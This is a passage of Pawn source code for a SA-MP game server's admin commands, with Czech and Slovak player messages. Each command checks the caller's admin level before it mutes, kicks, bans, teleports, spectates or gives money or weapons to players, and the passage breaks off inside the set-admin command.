////////////////////////////////////////////////////////////////////////////////
dcmd_ann(playerid, params[])
{
if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");
else if(!strlen(params)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /ann [ TEXT ]");
else
{
new string[128];
format(string, sizeof(string), "~w~%s", params);
GameTextForAll(string, 5000, 5);
}
return 1;
}
////////////////////////////////////////////////////////////////////////////////
dcmd_dann(playerid, params[])
{
if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");
else if(!strlen(params)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /dann [ TEXT ]");
else
{
new string[128];
format(string, sizeof(string), "~w~%s", params);
GameTextForAll(string, 6000, 1);
}
return 1;
}
////////////////////////////////////////////////////////////////////////////////
dcmd_clear(playerid, params[])
{
#pragma unused params
if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");
else
{
new string[128];
for(new c=0;c<120;c++) SendClientMessageToAll(0x00000000," ");
format(string, sizeof(string), "Administrátor %s vymazal chat", PlayerName(playerid));
SendClientMessageToAll(COLOR_ADMIN, string);
}
return 1;
}
////////////////////////////////////////////////////////////////////////////////
dcmd_mute(playerid, params[])
{
new id = strval(params);
if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");
else if(!strlen(params)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /mute [ ID ]");
else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru");
else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš umlčet NPC hráče");
else
{
new string[128];
format(string, sizeof(string), "Hráč %s Je od ted umlčený Administrátorem %s ", PlayerName(id), PlayerName(playerid));
SendClientMessageToAll(COLOR_ADMIN, string);
pMute[id] = true;
}
return 1;
}
////////////////////////////////////////////////////////////////////////////////
dcmd_var(playerid, params[])
{
new id = strval(params);
if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");
else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /var [ ID ] [ DŮVOD ]");
else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru!");
else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš napomenout NPC hráče");
else if(strlen(params[chrfind(' ',params)+1])>32) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Důvod je moc dlouhý, maximálně 32 znaků");
else
{
pWarnings[id]++;
new string[256];
format(string, sizeof(string), "Administrátor %s napomenul hráče %s (%d) [ Důvod: %s ] (Varování: %d/3)", PlayerName(playerid), PlayerName(id), id, params[chrfind(' ',params)+1], pWarnings[id]);
SendClientMessageToAll(COLOR_ADMIN, string);
if(pWarnings[id] >= 3) Kick(id);
}
return 1;
}
////////////////////////////////////////////////////////////////////////////////
dcmd_unmute(playerid, params[])
{
new id = strval(params);
if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");
else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /unmute [ ID ]");
else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru");
else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš odmlčet NPC hráče!");
else
{
new string[128];
format(string, sizeof(string), "Hráč %s Je od ted odmlčený Administrátorem %s ", PlayerName(id), PlayerName(playerid));
SendClientMessageToAll(COLOR_ADMIN, string);
pMute[id] = false;
}
return 1;
}
////////////////////////////////////////////////////////////////////////////////
dcmd_freeze(playerid, params[])
{
new id = strval(params);
if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");
else if(!strlen(params)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /freeze [ ID ]");
else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru");
else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš zmrazit NPC hráče");
else
{
new string[128];
format(string, sizeof(string), "Hráč %s Je od ted zmražený Administrátorem %s !", PlayerName(id), PlayerName(playerid));
SendClientMessageToAll(COLOR_ADMIN, string);
TogglePlayerControllable(id, 0);
pFreeze[id] = true;
}
return 1;
}
////////////////////////////////////////////////////////////////////////////////
dcmd_unfreeze(playerid, params[])
{
new id = strval(params);
if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");
else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /unfreeze [ ID ]");
else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru");
else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš odmrazit NPC hráče");
else
{
new string[128];
format(string, sizeof(string), "Hráč %s Je od ted odmražený Administrátorem %s !", PlayerName(id), PlayerName(playerid));
SendClientMessageToAll(COLOR_ADMIN, string);
TogglePlayerControllable(id, 1);
pFreeze[id] = false;
}
return 1;
}
////////////////////////////////////////////////////////////////////////////////
dcmd_goto(playerid, params[])
{
new id = strval(params);
if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");
else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /goto [ ID ]");
else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru");
else
{
new Float:X, Float:Y, Float:Z, Float:A, Float:x2, Float:y2, Float:Ax;
GetPlayerPos(id, X , Y, Z);
GetPlayerFacingAngle(id, A);
SetPlayerInterior(playerid,GetPlayerInterior(id));
SetPlayerVirtualWorld(playerid,GetPlayerVirtualWorld(id));
if(!IsPlayerInAnyVehicle(playerid))
{
Ax = A+180;
if(Ax>=360) Ax=Ax-360;
x2 = X + (1 * floatsin(-Ax, degrees));
y2 = Y + (1 * floatcos(-Ax, degrees));
SetPlayerPos(playerid,x2,y2,Z+0.1);
}
else if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER)
{
Ax = A+180;
if(Ax>=360) Ax=Ax-360;
x2 = X + (5 * floatsin(-Ax, degrees));
y2 = Y + (5 * floatcos(-Ax, degrees));
new vehicleid = GetPlayerVehicleID(playerid);
SetVehiclePos(vehicleid,x2,y2,Z+0.1);
SetVehicleZAngle(vehicleid,A+90);
}
}
return 1;
}
////////////////////////////////////////////////////////////////////////////////
dcmd_get(playerid, params[])
{
new id = strval(params);
if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");
else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /get [ ID ]");
else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru");
else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš k sobě teleportovat NPC hráče");
else
{
new Float:X, Float:Y, Float:Z, Float:A, Float:x2, Float:y2, Float:Ax;
if(GetPlayerVehicleID(playerid) == 0)
{
GetPlayerPos(playerid,X,Y,Z);
GetPlayerFacingAngle(playerid,A);
}
else
{
GetVehiclePos(GetPlayerVehicleID(playerid),X,Y,Z);
GetVehicleZAngle(GetPlayerVehicleID(playerid),A);
}
SetPlayerInterior(id, GetPlayerInterior(playerid));
SetPlayerVirtualWorld(id, GetPlayerVirtualWorld(playerid));
if(GetPlayerVehicleID(id) == 0)
{
Ax = A+180;
if(Ax>=360) Ax-=360;
x2 = X + (1 * floatsin(-Ax, degrees));
y2 = Y + (1 * floatcos(-Ax, degrees));
SetPlayerPos(id,x2,y2,Z+0.1);
}
else
{
Ax = A+180;
if(Ax>=360) Ax-=360;
x2 = X + (5 * floatsin(-Ax, degrees));
y2 = Y + (5 * floatcos(-Ax, degrees));
new vehicleid = GetPlayerVehicleID(id);
SetVehiclePos(vehicleid,x2,y2,Z+0.1);
SetVehicleZAngle(vehicleid,A+90);
}
}
return 1;
}
////////////////////////////////////////////////////////////////////////////////
dcmd_kick(playerid, params[])
{
new id = strval(params);
if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");
else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /kick [ ID ] [ DÔVOD ]");
else if(strlen(params[chrfind(' ',params)+1])>32) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Zadal si moc dlouhý důvod, Maximálně 32 znaků ");
else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru");
else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš vyhodit NPC hráče");
else
{
new string[256];
format(string, sizeof(string), "Hráč %s (%d) byl vyhozený Administrátorem %s (%d) [ Důvod: %s ]", PlayerName(id), id, PlayerName(playerid), playerid, params[chrfind(' ',params)+1]);
SendClientMessageToAll(COLOR_ADMIN, string);
Kick(id);
}
return 1;
}
////////////////////////////////////////////////////////////////////////////////
dcmd_spec(playerid, params[])
{
new id = strval(params);
if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");
else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /spec [ ID ]");
else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru");
else if(playerid == id) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemůžeš sledovat sám sebe");
else
{
if(pSpecate[playerid] == false)
{
GetPlayerPos(playerid, pSaveSpecPos[playerid][0], pSaveSpecPos[playerid][1], pSaveSpecPos[playerid][2]);
for(new w=0; w<13; w++) GetPlayerWeaponData(playerid, w, pSaveSpecWeapons[playerid][w], pSaveSpecWeaponsAmmo[playerid][w]);
}
pSpecate[playerid] = true;
SetPlayerVirtualWorld(playerid, GetPlayerVirtualWorld(id));
SetPlayerInterior(playerid, GetPlayerInterior(id));
TogglePlayerSpectating(playerid, 1);
if(GetPlayerVehicleID(id) == 0) PlayerSpectatePlayer(playerid, id);
else PlayerSpectateVehicle(playerid, GetPlayerVehicleID(id));
new string[128];
format(string, sizeof(string), "Začal si sledovat hráče %s, pro vypnutí použij: /specoff", PlayerName(id));
SendClientMessage(playerid, COLOR_ADMIN, string);
}
return 1;
}
////////////////////////////////////////////////////////////////////////////////
dcmd_specoff(playerid, params[])
{
#pragma unused params
if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");
else if(pSpecate[playerid]==false) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nikoho nesleduješ");
else
{
TogglePlayerSpectating(playerid, 0);
SetCameraBehindPlayer(playerid);
}
return 1;
}
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
dcmd_ac(playerid, params[])
{
new id = strval(params);
new color = strval(params[chrfind(' ',params)+1]);
if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");
else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /ac [ ID ] [ BARVA ]");
else if(id<400 || id>611) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /ac [ 400-611 ] [ 0-126 ]");
else if(color<0 || color>126) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /ac [ 400-611 ] [ 0-126 ]");
else
{
new vehid = -1;
for(new v=0; v<MAX_ADMIN_VEHICLES; v++) if(AdminVehicle[v] <= 0)
{
vehid = v;
break;
}
if(vehid == -1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Je vytvořený maximální počet admin vozidel, použij /acd pro jejich zničení");
else
{
new Float:x, Float:y, Float:z, Float:x2, Float:y2, Float:a;
GetPlayerPos(playerid, x, y, z);
GetPlayerFacingAngle(playerid, a);
x2 = x + (2.5 * floatsin(-a, degrees));
y2 = y + (2.5 * floatcos(-a, degrees));
AdminVehicle[vehid] = CreateVehicle(id, x2, y2, z+0.5, a+90, color, color, 300);
}
}
return 1;
}
////////////////////////////////////////////////////////////////////////////////
dcmd_acd(playerid, params[])
{
#pragma unused params
if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");
else
{
new vehid = -1;
for(new v=0; v<MAX_ADMIN_VEHICLES; v++) if(AdminVehicle[v] > 0)
{
vehid = v;
break;
}
if(vehid == -1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Není vytvořené žádné Admin Vozidlo");
else
{
for(new v=0; v<MAX_ADMIN_VEHICLES; v++) if(AdminVehicle[v] > 0) DestroyVehicleEx(AdminVehicle[v]);
new string[100];
format(string, sizeof(string), "Administrátor %s zničil všechny admin vozidla !", PlayerName(playerid));
SendClientMessageToAll(COLOR_ADMIN, string);
}
}
return 1;
}
////////////////////////////////////////////////////////////////////////////////
dcmd_eramp(playerid, params[])
{
new rampid = strval(params);
if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");
else if(!strlen(params)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /eramp [ ID ]");
else if(rampid<1 || rampid>7) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /eramp [ 1-7 ]");
else
{
new rampnumber = -1;
for(new r=0; r<MAX_RAMPS; r++) if(!IsValidObject(Ramp[r]))
{
rampnumber = r;
break;
}
if(rampnumber == -1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Je vytvořený maximální počet ramp, použij /erdestroy pro jejich zničení");
else
{
new Float:x, Float:y, Float:z, Float:a;
GetPlayerPos(playerid, x, y, z);
if(GetPlayerVehicleID(playerid) == 0) GetPlayerFacingAngle(playerid, a);
else GetVehicleZAngle(GetPlayerVehicleID(playerid), a);
x += (8.0 * floatsin(-a, degrees));
y += (8.0 * floatcos(-a, degrees));
new ID;
switch(rampid)
{
case 1: ID = 1631;
case 2: ID = 1632;
case 3: ID = 1634;
case 4: ID = 1655;
case 5: {ID = 13641; a += 90;}
case 6: {ID = 7627; z += 3;}
default: {ID = 11011; z += 3; SetPlayerPos(playerid, x, y, z+2.0);}
}
Ramp[rampnumber] = CreateObject(ID, x, y, z, 0, 0, a);
}
}
return 1;
}
////////////////////////////////////////////////////////////////////////////////
dcmd_erdestroy(playerid, params[])
{
#pragma unused params
if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");
else
{
new rampnumber = -1;
for(new r=0; r<MAX_RAMPS; r++) if(IsValidObject(Ramp[r]))
{
rampnumber = r;
break;
}
if(rampnumber == -1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Není vytvořená žádná rampa");
else
{
for(new r=0; r<MAX_RAMPS; r++) if(IsValidObject(Ramp[r])) DestroyObject(Ramp[r]);
new string[100];
format(string, sizeof(string), "Administrátor %s zničil všechny rampy", PlayerName(playerid));
SendClientMessageToAll(COLOR_ADMIN, string);
}
}
return 1;
}
////////////////////////////////////////////////////////////////////////////////
dcmd_eunlock(playerid, params[])
{
#pragma unused params
if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");
else
{
new string[75];
format(string, sizeof(string), "Administrátor %s odemkl všechny auta", PlayerName(playerid));
for(new v=1; v<MAX_VEHICLES; v++) for(new i=0; i<MAX_PLAYERS_EX; i++) if(IsPlayerConnected(i)) SetVehicleParamsForPlayer(v, i, 0, 0);
SendClientMessageToAll(COLOR_ADMIN, string);
}
return 1;
}
////////////////////////////////////////////////////////////////////////////////
dcmd_ban(playerid, params[])
{
new id = strval(params);
if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");
else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor");
else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /ban [ ID ] [ DŮVOD ]");
else if(strlen(params[chrfind(' ',params)+1])>32) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Zadal si moc dlouhý důvod, Maximálně 32 znaků ");
else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru");
else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš zabanovat NPC hráče");
else
{
new string[128];
format(string, sizeof(string), "Hráč %s (%d) byl zabanovaný Administrátorem %s (%d) [ Důvod: %s ]", PlayerName(id), id, PlayerName(playerid), playerid, params[chrfind(' ',params)+1]);
SendClientMessageToAll(COLOR_ADMIN, string);
format(string, sizeof(string), "%s: %s", PlayerName(playerid), params[chrfind(' ',params)+1]);
BanEx(id, string);
}
return 1;
}
////////////////////////////////////////////////////////////////////////////////
dcmd_player(playerid, params[])
{
new id = strval(params);
if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");
else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor");
else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /player [ ID ]");
else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru");
else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš ovládat NPC hráče");
else
{
pSaveID[playerid] = id;
new string[64];
format(string, sizeof(string),"{ff0000}Player: {ffff70}%s (%d)", PlayerName(id), id);
ShowPlayerDialog(playerid, DIALOG_A_PLAYERMENU, DIALOG_STYLE_LIST, string, "Nastavit HP\nNastavit Armour\nKill\nOdzbrojit\nReset Money\nExplode\nDesert man\nVehicle Repair", "Ok", "Zavřít");
}
return 1;
}
////////////////////////////////////////////////////////////////////////////////
dcmd_hp(playerid, params[])
{
#pragma unused params
if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");
else
{
SendClientMessage(playerid,COLOR_ADMIN,"Uzdravil si se ");
SetPlayerHealth(playerid, 100.00000000);
SetPlayerArmour(playerid, 100.00000000);
if(GetPlayerVehicleID(playerid) > 0)
{
SetVehicleHealth(GetPlayerVehicleID(playerid), 1000.0);
RepairVehicle(GetPlayerVehicleID(playerid));
SendClientMessage(playerid, COLOR_ADMIN, "Opravil sis vozidlo !");
}
}
return 1;
}
////////////////////////////////////////////////////////////////////////////////
dcmd_gm(playerid, params[])
{
new id = strval(params);
if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");
else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor");
else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /gm [ ID ] [ MONEY ]");
else if(strval(params[chrfind(' ',params)+1])>999999999) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Maximální suma kterou můžeš poslat je 999 999 999$ !");
else if(strval(params[chrfind(' ',params)+1])<=0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Zadal si neplatnou hodnotu ");
else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru");
else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš dát peníze NPC hráčovi");
else
{
new string[128];
format(string, sizeof(string), "Dal si hráčovi %s %d$ !", PlayerName(id), strval(params[chrfind(' ',params)+1]));
SendClientMessage(playerid, COLOR_ADMIN, string);
format(string, sizeof(string), "Administrátor %s ti dal %d$ !", PlayerName(playerid), strval(params[chrfind(' ',params)+1]));
SendClientMessage(id, COLOR_ADMIN, string);
GivePlayerMoney(id, strval(params[chrfind(' ',params)+1]));
}
return 1;
}
////////////////////////////////////////////////////////////////////////////////
dcmd_setnick(playerid, params[])
{
new id = strval(params);
if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");
else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor");
else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /setnick [ ID ] [ NICK ]");
else if(strlen(params[chrfind(' ',params)+1])<3 || strlen(params[chrfind(' ',params)+1])>20) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Rozmezí nicku: 3-20 znaků");
else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru");
else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš nastavit nick NPC hráčovi");
else
{
new string[128];
format(string, sizeof(string), "Nastavil si hráčovi %s nick %s !", PlayerName(id), params[chrfind(' ',params)+1]);
SendClientMessage(playerid, COLOR_ADMIN, string);
format(string, sizeof(string), "Administrátor %s ti zmenil nick na %s !", PlayerName(playerid), params[chrfind(' ',params)+1]);
SendClientMessage(id, COLOR_ADMIN, string);
SetPlayerName(id, params[chrfind(' ',params)+1]);
}
return 1;
}
////////////////////////////////////////////////////////////////////////////////
dcmd_bealone(playerid, params[])
{
new id = strval(params);
if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");
else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor");
else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /bealone [ ID ]");
else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru");
else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš používat tento příkaz na NPC hráčovi");
else
{
new string[256];
format(string, sizeof(string), "Administrátor %s (%d) poslal hráče %s (%d) do jiného světa !", PlayerName(playerid), playerid, PlayerName(id), id);
SendClientMessageToAll(COLOR_ADMIN, string);
SetPlayerVirtualWorld(id, 2147041658-playerid);
if(GetPlayerVehicleID(id) > 0) SetVehicleVirtualWorld(GetPlayerVehicleID(id), 2147000000-playerid);
}
return 1;
}
////////////////////////////////////////////////////////////////////////////////
dcmd_beback(playerid, params[])
{
new id = strval(params);
if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");
else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor");
else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /beback [ ID ]");
else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru");
else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš tento příkaz používat na NPC hráčovi");
else
{
new string[256];
format(string, sizeof(string), "Administrátor %s (%d) vrátil hráče %s (%d) do normálního světa !", PlayerName(playerid), playerid, PlayerName(id), id);
SendClientMessageToAll(COLOR_ADMIN, string);
SetPlayerVirtualWorld(id, 0);
if(GetPlayerVehicleID(id) > 0) SetVehicleVirtualWorld(GetPlayerVehicleID(id), 0);
}
return 1;
}
////////////////////////////////////////////////////////////////////////////////
dcmd_gw(playerid, params[])
{
new id = strval(params);
if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");
else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor");
else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1]) || !strlen(params[chrfind(' ',params,chrfind(' ',params)+1)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použi: /gw [ ID ] [ WEAPON ID ] [ AMMO ]");
else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru");
else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš dat zbran NPC hráčovi");
else if(strval(params[chrfind(' ',params)+1])<0 || (strval(params[chrfind(' ',params)+1])>18 && strval(params[chrfind(' ',params)+1])<22) || strval(params[chrfind(' ',params)+1])>46) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Zadal si neplatné ID zbrane ! Použi 0 - 18 alebo 22 - 46 !");
else
{
new ammo = strval(params[chrfind(' ',params,chrfind(' ',params)+1)+1]);
if(ammo < 1 || ammo > 9999) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použi: /gw [ ID ] [ WEAPON ID ] [ 1 - 9999 ]");
else
{
new string[128];
format(string, sizeof(string), "Dal si hráčovi %s zbraň %s (%d nábojů) !", PlayerName(id), WeaponName(strval(params[chrfind(' ',params)+1]), 0), ammo);
SendClientMessage(playerid, COLOR_ADMIN, string);
format(string, sizeof(string), "Administrátor %s ti dal zbraň %s (%d nábojů) !", PlayerName(playerid), WeaponName(strval(params[chrfind(' ',params)+1]), 0), ammo);
SendClientMessage(id, COLOR_ADMIN, string);
GivePlayerWeapon(id, strval(params[chrfind(' ',params)+1]), ammo);
if(strval(params[chrfind(' ',params)+1])==39) GivePlayerWeapon(id,40,ammo);
if(strval(params[chrfind(' ',params)+1])==40) GivePlayerWeapon(id,39,ammo);
}
}
return 1;
}
////////////////////////////////////////////////////////////////////////////////
dcmd_setadmin(playerid, params[])
{
new id = strval(params);
if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nejsi Majitel Serveru");
else if(pAdminLevel[playerid]<=2) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Majitel Serveru");
else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /setadmin [ ID ] [ ADMIN LEVEL ]");
else if(strval(params[chrfind(' ',params)+1])>5 || strval(params[chrfind(' ',params)+1])<0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Rozmedzie levelov je 0 - 5 !");
